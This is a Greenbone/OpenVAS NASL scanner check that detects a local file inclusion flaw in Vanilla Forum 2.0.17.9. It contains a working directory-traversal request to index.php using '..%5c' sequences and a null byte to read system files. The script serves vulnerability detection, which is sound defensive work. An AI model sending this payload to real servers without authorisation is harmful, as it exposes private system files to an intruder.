Vanilla Forum Local File Inclusion Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:lussumo:vanilla";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.801794");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2011-06-07 13:29:28 +0200 (Tue, 07 Jun 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_name("Vanilla Forum Local File Inclusion Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_lussumo_vanilla_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Lussumo/Vanilla/detected");

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/17295/");
  script_xref(name:"URL", value:"http://packetstormsecurity.org/files/101448");
  script_xref(name:"URL", value:"http://securityreason.com/wlb_show/WLB-2011050062");

  script_tag(name:"impact", value:"Successful exploitation could allow attackers to perform directory
  traversal attacks and read arbitrary files on the affected application.");

  script_tag(name:"affected", value:"Vanilla Forum version 2.0.17.9");

  script_tag(name:"insight", value:"The flaw is due to improper validation of user supplied data in
  'index.php' via 'p' parameter, which allows attackers to read arbitrary files via a ../(dot dot) sequences.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Vanilla Forum is prone to local file inclusion vulnerability.");

  script_tag(name:"qod_type", value:"remote_vul");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir  = get_app_location( cpe:CPE, port:port ) ) exit( 0 );
if( dir == "/" ) dir = "";

files = traversal_files();

foreach file( keys( files ) ) {

  url = dir + "/index.php?p=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c" + files[file] + "%00";

  if( http_vuln_check( port:port, url:url, pattern:file ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );